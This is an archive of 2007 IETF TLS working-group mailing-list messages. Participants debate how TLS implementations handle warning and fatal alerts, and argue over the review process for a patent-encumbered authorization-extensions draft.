Hartman) would ensure a proper thorough review.  

		--Dean



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At Fri, 8 Jun 2007 16:47:42 -0400 (EDT),
Dean Anderson wrote:
> 
> > 
> > Dean,
> > 
> > That is not correct. This is (and was) an AD sponsored submission.
> > The TLS WG was previously asked if it wished to take on this document
> > and said no. The question of whether this document should go back to
> > ground zero (i.e., as if that discussion had not taken place)
> > is not really an appropriate one for this group and should be
> > addressed to the IESG or the IETF mailing list. If you want to
> > argue that TLS-WG SHOULD take up this kind of work, that is of
> > course approriate, but it's not a procedural requirement here.
> 
> I didn't find any previous discussion of whether the WG should take on
> this draft.  
> 
> Was there a "hum" on this?  
> 
> Did you decide this unilaterally?

Please see the minutes from the March 06 IETF meeting
(http://www3.ietf.org/proceedings/06mar/minutes/tls.html)

-Ekr

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Pasi.Eronen@nokia.com wrote:
> 
> Eric Rescorla wrote:
> > - Add a warning that some implementations tear down the connection
> >   for any alert so warning alerts are dangerous. New implementations
> >   SHOULD not tear down the connection for warning alerts.
> 
> Why not simply "MUST NOT tear down"? (this requirement would apply 
> only when TLS 1.2 is negotiated, so what some implementations did
> with 1.0 or 1.1 doesn't matter)

I don't undestand what should be new to this.

A fatal alert has always been "fatal" for the handshake, and
implementations that continued after a fatal alert can be considered
broken.

A warning alert has never been "fatal", otherwise the distinction
into fatal and warning would be non-sensical.  It may have not been
fully spelled out in the spec, but this is a level of implicit common
sense that one should be able to expect from a sensible implementor.

I know there are broken implementations out there, and I would appreciate
if they are fixed sooner rather than later, and independent of whether
they add TLS v1.2 or not.  There is one pretty large installed base
that doesn't send any alert in most situations, and I find that highly
annoying.  Combined with a Web-Browser that produces that same
meaningless error message for >95% of the possible errors (including
connection timeout and connection refused), this makes
diagnosing SSL/TLS configuration errors pretty difficult.

-Martin

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Bodo Moeller wrote:
> On Thu, Jun 07, 2007 at 08:33:11PM -0700, Nelson B Bolyard wrote:
>> Eric Rescorla wrote:
>>> <Pasi.Eronen@nokia.com> wrote:
>>>> Eric Rescorla wrote:
> 
>>>>> - Add a warning that some implementations tear down the connection
>>>>>   for any alert so warning alerts are dangerous. New implementations
>>>>>   SHOULD not tear down the connection for warning alerts.
> 
>>>> Why not simply "MUST NOT tear down"? (this requirement would apply 
>>>> only when TLS 1.2 is negotiated, so what some implementations did
>>>> with 1.0 or 1.1 doesn't matter)
> 
>>> Works for me.
> 
>> Umm. Some warning alerts exist to give the recipient a choice to tear
>> down or not.  E.g. no_renegotiation.  RFC 2246 says:
>>
>>    no_renegotiation
>>        Sent by the client in response to a hello request or by the
>>        server in response to a client hello after initial handshaking.
>>        Either of these would normally lead to renegotiation; when that
>>        is not appropriate, the recipient should respond with this alert;
>>        at that point, the original requester can decide whether to
>>        proceed with the connection. One case where this would be
>>        appropriate would be where a server has spawned a process to
>>        satisfy a request; the process might receive security parameters
>>        (key length, authentication, etc.) at startup and it might be
>>        difficult to communicate changes to these parameters after that
>>        point. This message is always a warning.
> 
> Good point.  This means that neither "SHOULD NOT" nor "MUST NOT" works
> for everything.  However, I think a party should not silently tear
> down the connection after receiving a no_renegotiation alert that it
> does not like -- instead, it should send a fatal alert first.
> 
> How about the following?
> 
>    If an alert with a level of warning is sent and received, generally
>    the connection can continue normally.  If the receiving party
>    decides not to proceed with the connection (e.g., after having
>    received a no_renegotiation alert that it is not willing to
>    accept), it MUST send a fatal alert to terminate the connection.

I don't object to that, except that it changes TLS so that SOME fatal
errors MUST be accompanied with a Fatal Alert (as opposed to being
torn down silently), but others are not required to do so.  This begs
the question: why should some fatal errors require a fatal alert,
but not others?

In a previous message in this thread, I asked/proposed:

> Why not require that a fatal alert be sent any time that the connection
> is going to be torn down due to a protocol error of any kind?

I still think that deserves an answer.

-- 
Nelson B

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To: Nelson B Bolyard <nelson@bolyard.com>
Subject: Re: [TLS] Issue 16: Alert clarifications
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On Sun, Jun 10, 2007 at 07:52:31PM -0700, Nelson B Bolyard wrote:

>> How about the following?
>> 
>>    If an alert with a level of warning is sent and received, generally
>>    the connection can continue normally.  If the receiving party
>>    decides not to proceed with the connection (e.g., after having
>>    received a no_renegotiation alert that it is not willing to
>>    accept), it MUST send a fatal alert to terminate the connection.

> I don't object to that, except that it changes TLS so that SOME fatal
> errors MUST be accompanied with a Fatal Alert (as opposed to being
> torn down silently), but others are not required to do so.  This begs
> the question: why should some fatal errors require a fatal alert,
> but not others?
> 
> In a previous message in this thread, I asked/proposed:
> 
>> Why not require that a fatal alert be sent any time that the connection
>> is going to be torn down due to a protocol error of any kind?

Yes, this makes sense -- anytime a party has to abort the connection
because of some protocol error, it should send a fatal alert if
possible.

Bodo


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From: Bodo Moeller <bmoeller@acm.org>
To: Martin Rex <Martin.Rex@sap.com>
Subject: Re: [TLS] Issue 16: Alert clarifications
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On Sun, Jun 10, 2007 at 10:51:23PM +0200, Martin Rex wrote:
> Pasi.Eronen@nokia.com wrote:
>> Eric Rescorla wrote:

>>> - Add a warning that some implementations tear down the connection
>>>   for any alert so warning alerts are dangerous. New implementations
>>>   SHOULD not tear down the connection for warning alerts.

>> Why not simply "MUST NOT tear down"? (this requirement would apply 
>> only when TLS 1.2 is negotiated, so what some implementations did
>> with 1.0 or 1.1 doesn't matter)

> I don't undestand what should be new to this.
> 
> A fatal alert has always been "fatal" for the handshake, and
> implementations that continued after a fatal alert can be considered
> broken.
> 
> A warning alert has never been "fatal", otherwise the distinction
> into fatal and warning would be non-sensical.  It may have not been
> fully spelled out in the spec, but this is a level of implicit common
> sense that one should be able to expect from a sensible implementor.

I used to think so too.  However, RFC 2246 and RFC 4346 both explicity
say that

                 if an alert with a level of warning is received, the
   receiving party MAY decide at its discretion whether to treat this as
   a fatal error or not.

Words like this in a specification override implementor common sense.

Sometimes this actually *does* make a bit of sense, e.g. when
receiving a certificate-related alert when you know you have to be
authenticated for whatever you intend to do with the TLS connection;
or if you want to insist on renegotiation.  It would make much more
sense, though, if the party that intends to close the connection in
response to a warning alert is required to send a fatal alert first.
Then the warning alert itself does not close the connection, and we
have an explicit fatal alert that indicates to the other party that
the connection will be closed.

This is what my proposal would achieve:

   If an alert with a level of warning is sent and received, generally
   the connection can continue normally.  If the receiving party
   decides not to proceed with the connection (e.g., after having
   received a no_renegotiation alert that it is not willing to
   accept), it MUST send a fatal alert to terminate the connection.

Nelson has suggested spelling out that fatal alerts should be required
for all fatal errors, which makes sense too.  That is, anytime a
party closes the connection because of whatever error, it should send
a fatal alert unless it has already sent or received one, or unless
it is impossible to send anything.

Bodo


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Dean Anderson wrote:

> On Wed, 30 May 2007, Sam Hartman wrote:
> > Dean, this is an excellent idea. Anyone who wants to including you
> > can discuss alternatives to the technology. The availability of
> > other ways to do this--particularly when combined with information
> > about whether people are willing to do the necessary work to write
> > up and implement these alternatives--would be great input to the
> > IESG. I'd appreciate anything you can do in this regard.
>=20
> To what working group should I take this work to?  Not TLS, it=20
> hasn't agreed (has affirmatively refused) to take on this work.

Dean: as you well know, most WG documents start as individual
Internet-Drafts. This way, the WG has something concrete to read=20
when considering whether to take on the work as WG item or not.

Currently, no such draft exists. If, however, someone would write=20
such a draft, and ask the TLS WG to consider adopting it as WG=20
item, we would certainly consider it. Or yet in other words:=20
there certainly is *NO* blanket decision to refuse all work
in this area.

<snip>
> No working group will consider conducting this work.

Let's not forget that *all* work in IETF is done by people,
not working groups. If nobody cares about this topic enough to=20
actually write a document and drive it forward, the question=20
of whether it should be WG item or not doesn't really apply.

Best regards,
Pasi

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Dear all,

Your comments on the following document are very welcome..

Best regards,
Badra

 > ---------- Forwarded message ----------
 > From: *Internet-Drafts@ietf.org* <Internet-Drafts@ietf.org>
 > Date: Jun 8, 2007 9:50 PM
 > Subject: I-D ACTION:draft-badra-ecdhe-tls-psk-00.txt
 > To: i-d-announce@ietf.org
 >
 > A New Internet-Draft is available from the on-line Internet-Drafts
 > directories.
 >
 >
 >        Title           : ECDHE_PSK Ciphersuites for TLS
 >        Author(s)       : M. Badra
 >        Filename        : draft-badra-ecdhe-tls-psk-00.txt
 >        Pages           : 5
 >        Date            : 2007-6-8
 >
 >   This document updates RFC 4785 and RFC 4279 and specifies a set of
 >   ciphersuites that use an Elliptic Curve Diffie-Hellman exchange
 >   authenticated with a pre-shared key. These ciphersuites provides
 >   Perfect Forward Secrecy. It specifies as well one authentication-
 >   only ciphersuites (with no encryption). This ciphersuite is useful
 >   when authentication and integrity protection is desired, but
 >   confidentiality is not needed or not permitted.
 >
 >   The reader is expected to become familiar with RFC 4785 and RFC 4279
 >   prior to studying this document.
 >
 > A URL for this Internet-Draft is:
 > http://www.ietf.org/internet-drafts/draft-badra-ecdhe-tls-psk-00.txt


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<Pasi.Eronen@nokia.com> writes:

> Dean Anderson wrote:
>
>> On Wed, 30 May 2007, Sam Hartman wrote:
>> > Dean, this is an excellent idea. Anyone who wants to including you
>> > can discuss alternatives to the technology. The availability of
>> > other ways to do this--particularly when combined with information
>> > about whether people are willing to do the necessary work to write
>> > up and implement these alternatives--would be great input to the
>> > IESG. I'd appreciate anything you can do in this regard.
>> 
>> To what working group should I take this work to?  Not TLS, it 
>> hasn't agreed (has affirmatively refused) to take on this work.
>
> Dean: as you well know, most WG documents start as individual
> Internet-Drafts. This way, the WG has something concrete to read 
> when considering whether to take on the work as WG item or not.
>
> Currently, no such draft exists. If, however, someone would write 
> such a draft, and ask the TLS WG to consider adopting it as WG 
> item, we would certainly consider it. Or yet in other words: 
> there certainly is *NO* blanket decision to refuse all work
> in this area.

The problem is, as far as I can tell, that the patent covers the general
idea of (some aspects) of authorization with X.509 Attribute
Certificates over the TLS protocol.

Thus, any draft that transfer X.509 Attribute Certificates over TLS will
have the same concern with regards to this particular patent.

Finding a way to route around the patent seems challenging, but given
the current license terms, it may still be the simplest solution.
Finding prior art for widely useful scenarios should be easy.  One
solution would be to write a draft that specify a similar protocol, and
document several use-cases with references to prior art.

If someone knows of prior art where X.509 Attribute Certificates and/or
SAML assertions are sent over TLS (possibly in the handshake, but that
doesn't seem critical), that would be very useful information.

/Simon

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Subject: [TLS] Re: Comments on draft-housley-tls-authz-extns-07
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Simon Josefsson a =E9crit :

> If someone knows of prior art where X.509 Attribute Certificates and/or
>  =20
> SAML assertions are sent over TLS (possibly in the handshake, but that
>  =20
> doesn't seem critical), that would be very useful information.
>  =20
> /Simon
>  =20
>  =20
>  =20
Hi Simon,=20


You could probably find some prior art -was a TLS WG item- (published by =
Stephen Farrell, 1998) at http://tools.ietf.org/html/draft-ietf-tls-attr-=
cert-00 and http://tools.ietf.org/html/draft-ietf-tls-attr-cert-01

The minor difference is that by 1988, the TLS Extensions wasn't published=
 yet.

Best regards,

Badra



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From tls-bounces@lists.ietf.org Mon Jun 11 13:38:42 2007
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>>>>> "Dean" == Dean Anderson <dean@av8.com> writes:

    Dean> On Wed, 30 May 2007, Sam Hartman wrote:
    >> >>>>> "Dean" == Dean Anderson <dean@av8.com> writes:
    >> 
    Dean> I believe the IETF announced that it would be sending this
    Dean> draft back to the 'starting gate'.  To me, that means that
    Dean> TLS has to do several things:
    >>  Dean, Eric has corrected your statements about where this
    >> draft is in the process.

    Dean> Yes. I have to say, I'm not too happy about that, and am
    Dean> feeling misled yet again.  I expected more effort than just
    Dean> posting an email requesting comment to the TLS working
    Dean> group. I understood the TLS working group was going to do
    Dean> some work on the draft to find out if the patented standard
    Dean> is actually worth the trouble, and __approve__ or __reject__
    Dean> the draft independently of the IESG.  What is actually
    Dean> happening is less even than a rubber-stamp. (a rubber stamp
    Dean> is -some- approval)
It would be great if members of the TLS working group would do the
work of determining  "whether the patented standard is worth the trouble."
I cannot force them to do the work.
I can consider how much work gets done  when I evaluate the comments tomorrow.

    Dean> It seems your rubber-stamp process does not permit enough
    Dean> time to come up with an alternative, nor is there any
    Dean> working group to work on doing so.  

I'd certainly take comments from specific parties claiming to be
dedicating effort to developing or exploring alternatives very
seriously.  I.E. I'm not going to take a claim that "someone should
explore alternatives" all that seriously.  I would take a claim that
"Alice, Bob and two of their friends are working on exploring
alternatives and request a month to do so," as very interesting.  I'd
take a claim that "Alice and bob are working on writing up the
following alternative; they should be done with a 00 draft within x
months after Chicago" as even more interesting input.

    Dean> 1) Consider non-patented alternatives in accordance with
    Dean> RFC2418 and RFC3979.
    >>  Dean, this is an excellent idea. Anyone who wants to including
    >> you can discuss alternatives to the technology. The
    >> availability of other ways to do this--particularly when
    >> combined with information about whether people are willing to
    >> do the necessary work to write up and implement these
    >> alternatives--would be great input to the IESG. I'd appreciate
    >> anything you can do in this regard.

    Dean> To what working group should I take this work to?  Not TLS,
    Dean> it hasn't agreed (has affirmatively refused) to take on this
    Dean> work.

The tls mailing list is a fine place to have the initial discussion.
If you get to a draft and the TLS working group declines the draft,
then we could follow the standard procedure for bringing new work to
the IESG.  You'd presumably ask me to sponsor your draft as an
individual submission.  I might decide that a BOF was more
appropriate, or I might try and pressure the TLS working group into
accepting the work.  At this stage though getting a concrete proposal
on the table is the clear first step.

    >> so if you want to propose an alternative, you should do so.  If
    >> you know others who want to propose an alternative you should
    >> encourage them.

    Dean> Yes, I do. Where should I tell them to go?  This subject is
    Dean> off-topic for TLS after the chair refuses to take up the
    Dean> subject.  You can't have it both ways; unless you _want_ a
    Dean> whitewash.

The tls list.

    Dean> You've officially asked for comments, but this group refuses
    Dean> to do any work on the matter.  A convenient conundrum; A
    Dean> catch-22.  And when no work gets done, you "don't have to
    Dean> wait around before re-approving".  That is a charade; A
    Dean> sham; A debacle.

    >> That's why we are soliciting comments.  The ietf list
    >> discussion was in the minds of some inconclusive.

    Dean> Actually, I think it was ended in the premise that the TLS
    Dean> working group would work on the document, and there is
    Dean> nothing to discuss until that is done.

That is not my understanding.


Thanks for your input,

--Sam

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From: Martin Rex <Martin.Rex@sap.com>
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Subject: Re: [TLS] Issue 16: Alert clarifications
To: bmoeller@acm.org (Bodo Moeller)
Date: Mon, 11 Jun 2007 22:41:17 +0200 (MEST)
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Bodo Moeller wrote:
> 
> >> Why not simply "MUST NOT tear down"? (this requirement would apply 
> >> only when TLS 1.2 is negotiated, so what some implementations did
> >> with 1.0 or 1.1 doesn't matter)
> 
> > I don't undestand what should be new to this.
> 
> I used to think so too.  However, RFC 2246 and RFC 4346 both explicity
> say that
> 
>                  if an alert with a level of warning is received, the
>    receiving party MAY decide at its discretion whether to treat this as
>    a fatal error or not.

I don't see how this changes anything.  A Server that receives a
no_certificate alert instead of a requested client SSL cert may
treat this as a fatal error as well.  But that's a determination
made by the server, and such a determination is *NOT* covered
by the peer's alert message (the peer should be waiting for
continuation of the communication/handshake).


> 
> Sometimes this actually *does* make a bit of sense, e.g. when
> receiving a certificate-related alert when you know you have to be
> authenticated for whatever you intend to do with the TLS connection;
> or if you want to insist on renegotiation.  It would make much more
> sense, though, if the party that intends to close the connection in
> response to a warning alert is required to send a fatal alert first.

This is how I understood the idea behind the seperate warning
and fatal alerts.


> Then the warning alert itself does not close the connection, and we
> have an explicit fatal alert that indicates to the other party that
> the connection will be closed.

There is one particular warning alert that terminates the currently active
SSL session (and usually, but not necessarily the connection):
the SSL close notify alert.

Reusing a (tcp) communication channel after an SSL close notify alert
is a littly tricky (making sure that there are no close notify alerts
left in the channel), but it is possible--at least if you know exactly
what the SSL implementations on both sides are doing and that they
offer a call that removes the (probably encrypted) close-notify alerts
properly.


> 
> This is what my proposal would achieve:
> 
>    If an alert with a level of warning is sent and received, generally
>    the connection can continue normally.  If the receiving party
>    decides not to proceed with the connection (e.g., after having
>    received a no_renegotiation alert that it is not willing to
>    accept), it MUST send a fatal alert to terminate the connection.
> 
> Nelson has suggested spelling out that fatal alerts should be required
> for all fatal errors, which makes sense too.  That is, anytime a
> party closes the connection because of whatever error, it should send
> a fatal alert unless it has already sent or received one, or unless
> it is impossible to send anything.


The description of Error (alerts) in SSLv3 (Nov.96) says this:

  5.4.2 Error alerts

     Error handling in the SSL Handshake protocol is very simple.  When
     an error is detected, the detecting party sends a message to the
     other party.  Upon transmission or receipt of an fatal alert
     message, both parties immediately close the connection.  Servers
     and clients are required to forget any session-identifiers, keys,
     and secrets associated with a failed connection.  The following
     error alerts are defined:

A no_certificate alert sent by an SSL/TLS client is not an error,
it is a protocol option requested by the server and rejected by the
client.  If the server considers this an error "the detecting party
sends a message to the other party."  If that message is a fatal
alert, the communication ends.  If the peer simply closes the
communication channel without sending the required (alert) message
it is defective.


-Martin

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On Mon, 11 Jun 2007 Pasi.Eronen@nokia.com wrote:

> Dean Anderson wrote:
> 
> > On Wed, 30 May 2007, Sam Hartman wrote:
> > > Dean, this is an excellent idea. Anyone who wants to including you
> > > can discuss alternatives to the technology. The availability of
> > > other ways to do this--particularly when combined with information
> > > about whether people are willing to do the necessary work to write
> > > up and implement these alternatives--would be great input to the
> > > IESG. I'd appreciate anything you can do in this regard.
> > 
> > To what working group should I take this work to?  Not TLS, it 
> > hasn't agreed (has affirmatively refused) to take on this work.
> 
> Dean: as you well know, most WG documents start as individual
> Internet-Drafts. This way, the WG has something concrete to read 
> when considering whether to take on the work as WG item or not.
> 
> Currently, no such draft exists. If, however, someone would write 
> such a draft, and ask the TLS WG to consider adopting it as WG 
> item, we would certainly consider it. Or yet in other words: 
> there certainly is *NO* blanket decision to refuse all work
> in this area.

One draft already exists: Housleys. And the working group will not work
on that draft, even after scandal compels interest. So why would anyone
expect it will work on another draft on the same subject? Kind of hard
to motivate people to put in work, when the group has already said it
won't take up the subject.

Most all decisions are subject to future review and reversal. But many
people look at past decisions for a clue to future decisions.

> <snip>
> > No working group will consider conducting this work.
> 
> Let's not forget that *all* work in IETF is done by people,
> not working groups. If nobody cares about this topic enough to 
> actually write a document and drive it forward, the question 
> of whether it should be WG item or not doesn't really apply.

We have one document. Maybe two.

Actually, I note that the TLS March '06 minutes for the discussion of
the housley draft say:

"A show of hands indicated that while a number of people are interested 
in this item, only two were interested enough to agree to review the 
document and comment. Thus, this item will continue as an individual 
item."

In some other groups, this would be enough interest to take up the
draft.  There's always more people on the list who make comments, than
come to meetings.  And I note this was before the scandal erupted. Now,
the scandal seems to have created an obligation to review the draft, and
it _still_ isn't a working group item. I find that objectionable.

The IESG can't remove the taint of scandal by itself. (hence the
assurance the TLS group would review the draft; wasn't much of an
assurance, it turns out).




I was also wondering about the disproportion to the fact that the TLS WG
has taken up a slew of authentication drafts, but no authorization
drafts. One seems complementary to the other.  There are some
implementations of Housley, people are interested in writing code.  Why
aren't people on the WG interested in authorization?  This seems odd to
me. Some clue here would be helpful.

		--Dean


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From: Bodo Moeller <bmoeller@acm.org>
To: Martin Rex <Martin.Rex@sap.com>
Subject: Re: [TLS] Issue 16: Alert clarifications
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On Mon, Jun 11, 2007 at 10:41:17PM +0200, Martin Rex wrote:
> Bodo Moeller wrote:

>>> I don't undestand what should be new to this.

>> I used to think so too.  However, RFC 2246 and RFC 4346 both explicity
>> say that
>> 
>>                  if an alert with a level of warning is received, the
>>    receiving party MAY decide at its discretion whether to treat this as
>>    a fatal error or not.
>
> I don't see how this changes anything.  A Server that receives a
> no_certificate alert instead of a requested client SSL cert may
> treat this as a fatal error as well.  But that's a determination
> made by the server, and such a determination is *NOT* covered
> by the peer's alert message (the peer should be waiting for
> continuation of the communication/handshake).

I'm not sure what your point is here: We had suggestions to add some
"SHOULD NOT tear down the connection for warning alerts" rule to the
specification, or even "MUST NOT tear down"; you said you didn't
understand what should be new to this; and in response I pointed to
the above language that isn't consistent with "SHOULD NOT tear down"
or "MUST NOT tear down": that's why "SHOULD NOT tear down" or "MUST
NOT tear down" would be new.


>> Sometimes this actually *does* make a bit of sense, e.g. when
>> receiving a certificate-related alert when you know you have to be
>> authenticated for whatever you intend to do with the TLS connection;
>> or if you want to insist on renegotiation.  It would make much more
>> sense, though, if the party that intends to close the connection in
>> response to a warning alert is required to send a fatal alert first.

> This is how I understood the idea behind the seperate warning
> and fatal alerts.

>> Then the warning alert itself does not close the connection, and we
>> have an explicit fatal alert that indicates to the other party that
>> the connection will be closed.

> There is one particular warning alert that terminates the currently active
> SSL session (and usually, but not necessarily the connection):
> the SSL close notify alert.

True.  The above language ("if an alert with a level of warning is
received ...") is from the "Error Alerts" subsection of the "Alert
Protocol" subsection, which covers any alerts besides the close_notify
alert, so that's actually what the proposal is meant for.


>> This is what my proposal would achieve:
>> 
>>    If an alert with a level of warning is sent and received, generally
>>    the connection can continue normally.  If the receiving party
>>    decides not to proceed with the connection (e.g., after having
>>    received a no_renegotiation alert that it is not willing to
>>    accept), it MUST send a fatal alert to terminate the connection.
>> 
>> Nelson has suggested spelling out that fatal alerts should be required
>> for all fatal errors, which makes sense too.  That is, anytime a
>> party closes the connection because of whatever error, it should send
>> a fatal alert unless it has already sent or received one, or unless
>> it is impossible to send anything.


> The description of Error (alerts) in SSLv3 (Nov.96) says this:
> 
>   5.4.2 Error alerts
> 
>      Error handling in the SSL Handshake protocol is very simple.  When
>      an error is detected, the detecting party sends a message to the
>      other party.  Upon transmission or receipt of an fatal alert
>      message, both parties immediately close the connection.  Servers
>      and clients are required to forget any session-identifiers, keys,
>      and secrets associated with a failed connection.  The following
>      error alerts are defined:
> 
> A no_certificate alert sent by an SSL/TLS client is not an error,
> it is a protocol option requested by the server and rejected by the
> client.  If the server considers this an error "the detecting party
> sends a message to the other party."  If that message is a fatal
> alert, the communication ends.  If the peer simply closes the
> communication channel without sending the required (alert) message
> it is defective.

Here you are mixing levels: the no_certicate alert *is* defined in
the "Error Alerts" section, so technically this *is* an "error" --
at least in the sense of "error" that the sentence that you quote
is assuming.



Actually it seems that our ideas on how the protocol should behave
with regards to alerts agree mostly (or even completely).  The main
problem apparently is that there are many things that the
specification doesn't spell out clearly -- they are left to common
sense, and occasionally there are different ways to interpret the few
details that the specification does spell out that yet, when applying
common sense, can lead to the same result.

Bodo


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From tls-bounces@lists.ietf.org Mon Jun 11 19:26:49 2007
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Subject: Re: [TLS] Issue 16: Alert clarifications
To: bmoeller@acm.org (Bodo Moeller)
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Bodo Moeller wrote:
> 
> Martin Rex wrote:
> > 
> > The description of Error (alerts) in SSLv3 (Nov.96) says this:
> > 
> >   5.4.2 Error alerts
> > 
> >      Error handling in the SSL Handshake protocol is very simple.  When
> >      an error is detected, the detecting party sends a message to the
> >      other party.  Upon transmission or receipt of an fatal alert
> >      message, both parties immediately close the connection.  Servers
> >      and clients are required to forget any session-identifiers, keys,
> >      and secrets associated with a failed connection.  The following
> >      error alerts are defined:
> > 
> > A no_certificate alert sent by an SSL/TLS client is not an error,
> > it is a protocol option requested by the server and rejected by the
> > client.  If the server considers this an error "the detecting party
> > sends a message to the other party."  If that message is a fatal
> > alert, the communication ends.  If the peer simply closes the
> > communication channel without sending the required (alert) message
> > it is defective.
> 
> Here you are mixing levels: the no_certicate alert *is* defined in
> the "Error Alerts" section, so technically this *is* an "error" --
> at least in the sense of "error" that the sentence that you quote
> is assuming.


Carefully read the "Error alerts" (which is present in TLS 1.0 as well)
again.

The two important points there are

 1)  "When an error is detected, the detecting party sends a
      message to the the other party".

 2)  "upon transmission or receipt of a(n) fatal alert message,
      both parties immediately close the connection."

In error situations, the connection is terminated after transmission
or receipt of a fatal alert message.  The party that "detects" the
error (i.e. the party that wants to abort the handshake) sends a
(fatal alert) message to the other party.

For me, that is equal to a "MUST send fatal alert before closing
the connection" in error situations.  Graceful shutdown uses
close notify (warning) alerts.

The "no_certificate" and "no_renegotiation" message, when sent as
warning (not as fatal) are definitely not errors, they just happen
to share the same messaging primitive (SSL alert) and are therefore
described in this section as well.


At most, the TLS spec failed to adopt the correct spec terminology
when copying the SSLv3 text.  IMHO it has always been fairly obvious
what correct implementations are supposed to do.


-Martin

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To: Martin Rex <Martin.Rex@sap.com>
Subject: Re: [TLS] Issue 16: Alert clarifications
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On Tue, Jun 12, 2007 at 01:26:34AM +0200, Martin Rex wrote:
> Bodo Moeller wrote:
>> Martin Rex wrote:

[...]
>>> A no_certificate alert sent by an SSL/TLS client is not an error,
>>> it is a protocol option requested by the server and rejected by the
>>> client.  If the server considers this an error "the detecting party
>>> sends a message to the other party."  If that message is a fatal
>>> alert, the communication ends.  If the peer simply closes the
>>> communication channel without sending the required (alert) message
>>> it is defective.

>> Here you are mixing levels: the no_certicate alert *is* defined in
>> the "Error Alerts" section, so technically this *is* an "error" --
>> at least in the sense of "error" that the sentence that you quote
>> is assuming.

> Carefully read the "Error alerts" (which is present in TLS 1.0 as well)
> again.
> 
> The two important points there are
> 
>  1)  "When an error is detected, the detecting party sends a
>       message to the the other party".
> 
>  2)  "upon transmission or receipt of a(n) fatal alert message,
>       both parties immediately close the connection."
> 
> In error situations, the connection is terminated after transmission
> or receipt of a fatal alert message.  The party that "detects" the
> error (i.e. the party that wants to abort the handshake) sends a
> (fatal alert) message to the other party.
> 
> For me, that is equal to a "MUST send fatal alert before closing
> the connection" in error situations.

This is what it means to you because this makes SENSE, not because it
has been WRITTEN DOWN in the spec :-)

>                                       Graceful shutdown uses
> close notify (warning) alerts.
> 
> The "no_certificate" and "no_renegotiation" message, when sent as
> warning (not as fatal) are definitely not errors, they just happen
> to share the same messaging primitive (SSL alert) and are therefore
> described in this section as well.

They are not errors to you, but they are errors in the terminology
of at least the TLS 1.0 spec, and arguably also the SSL 3.0 spec.
Remember that not only this is the "Error alerts" section, but
also that RFC 2246 states that

   For all errors where an alert level is not explicitly specified, the
       ^^^^^^^^^^          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   sending party may determine at its discretion whether this is a fatal
                                                 ^^^^^^^^^^^^^^^^^^^^^^^
   error or not; if an alert with a level of warning is received, the
   ^^^^^^^^^^^^
   receiving party may decide at its discretion whether to treat this as
   a fatal error or not. However, all messages which are transmitted
   with a level of fatal must be treated as fatal messages.

According to this, there can be non-fatal errors -- in other words,
warnings are still "errors" in the terminology employed by the
specification.

Of course, I totally agree that it makes sense to require fatal alerts
before the connection is torn down (except in the close_notify case,
obviously), and that it makes a lot of sense for implementations of
the current specs to behave like this.  I just don't agree that the
current specifcations already require implementations to do this.

Bodo



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From: Martin Rex <Martin.Rex@sap.com>
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Subject: Re: [TLS] Issue 16: Alert clarifications
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Martin Rex wrote:
> 
> The "no_certificate" and "no_renegotiation" message, when sent as
> warning (not as fatal) are definitely not errors, they just happen
> to share the same messaging primitive (SSL alert) and are therefore
> described in this section as well.

I should have written "ssl alert" instead of "message".

When I just compared SSLv3 and TLSv1 I realized subtle differences
that are not listed as (backwards incompatible) changes to the spec.

A list of changes from SSLv3 -> TLSv1.0 -> TLSv1.1 -> TLSv1.2
seems to be missing badly from the existing documents.

SSLv3 still had a "no_certificate" (warning) alert, which has evaporated
without traces from TLSv1.0.  Instead, TLSv1.0 allows an empty
certificate list in (server and) Client Certificate message, something
that was _NOT_ permitted in SSLv3.

I also noticed that the Certificate Request message was silently changed
from TLSv1.0 to TLSv1.1, suddenly permitting an empty list of DNames
(which is _NOT_ permitted in SSLv3 and TLSv1.0)

Acutally, I quite dislike this latter feature because it will be
annoying to users with multiple client certs if automatic selection
of a matching cert is impossible.

-Martin

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From tls-bounces@lists.ietf.org Mon Jun 11 20:15:59 2007
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From: Martin Rex <Martin.Rex@sap.com>
Message-Id: <200706120015.l5C0FpSQ014433@fs4113.wdf.sap.corp>
Subject: Re: [TLS] Issue 16: Alert clarifications
To: bmoeller@acm.org (Bodo Moeller)
Date: Tue, 12 Jun 2007 02:15:51 +0200 (MEST)
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Bodo Moeller wrote:
> 
> They are not errors to you, but they are errors in the terminology
> of at least the TLS 1.0 spec, and arguably also the SSL 3.0 spec.

They can be interpreted as errors, but if the sender does not
tag them as "fatal", then they're _NOT_ fatal errors resulting
in termination of the connection.


> Remember that not only this is the "Error alerts" section, but
> also that RFC 2246 states that
> 
>    For all errors where an alert level is not explicitly specified, the
>        ^^^^^^^^^^          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>    sending party may determine at its discretion whether this is a fatal
>                                                  ^^^^^^^^^^^^^^^^^^^^^^^
>    error or not; if an alert with a level of warning is received, the
>    ^^^^^^^^^^^^
>    receiving party may decide at its discretion whether to treat this as
>    a fatal error or not. However, all messages which are transmitted
>    with a level of fatal must be treated as fatal messages.


The user_cancel alert is particularly fascinating in TLSv1.0
It is always a warning level alert, and the sender of this warning
should followup directly with a "close notify alert" (apparently
to perform "graceful" shutdown).

> 
> According to this, there can be non-fatal errors -- in other words,
> warnings are still "errors" in the terminology employed by the
> specification.
> 
> Of course, I totally agree that it makes sense to require fatal alerts
> before the connection is torn down (except in the close_notify case,
> obviously), and that it makes a lot of sense for implementations of
> the current specs to behave like this.  I just don't agree that the
> current specifcations already require implementations to do this.

I firmly believe that the SSLv3 spec required it, but a spec weasel
might try to argue that the TLSv1.0 an later specs have failed to add
the proper rfc-2119 terminology to various places of the SSLv3 protocol
description and therefore relaxed the original SSLv3 requirements.

-Martin

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Date: Tue, 12 Jun 2007 02:37:26 +0200
From: Bodo Moeller <bmoeller@acm.org>
To: Martin Rex <Martin.Rex@sap.com>
Subject: Re: [TLS] Issue 16: Alert clarifications
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On Tue, Jun 12, 2007 at 02:15:51AM +0200, Martin Rex wrote:

>> Of course, I totally agree that it makes sense to require fatal alerts
>> before the connection is torn down (except in the close_notify case,
>> obviously), and that it makes a lot of sense for implementations of
>> the current specs to behave like this.  I just don't agree that the
>> current specifcations already require implementations to do this.

> I firmly believe that the SSLv3 spec required it, but a spec weasel
> might try to argue that the TLSv1.0 an later specs have failed to add
> the proper rfc-2119 terminology to various places of the SSLv3 protocol
> description and therefore relaxed the original SSLv3 requirements.

This has nothing to do with RFC 2119 terminology.  RFC 2246 and later
make specific statements regarding what the sender and receiver of an
alert should do; this is where the RFC could have codified, in
whatever form, this aspect of the distinction between fatal alerts and
warning alerts.  It quite clearly doesn't say what we think it should
be saying.

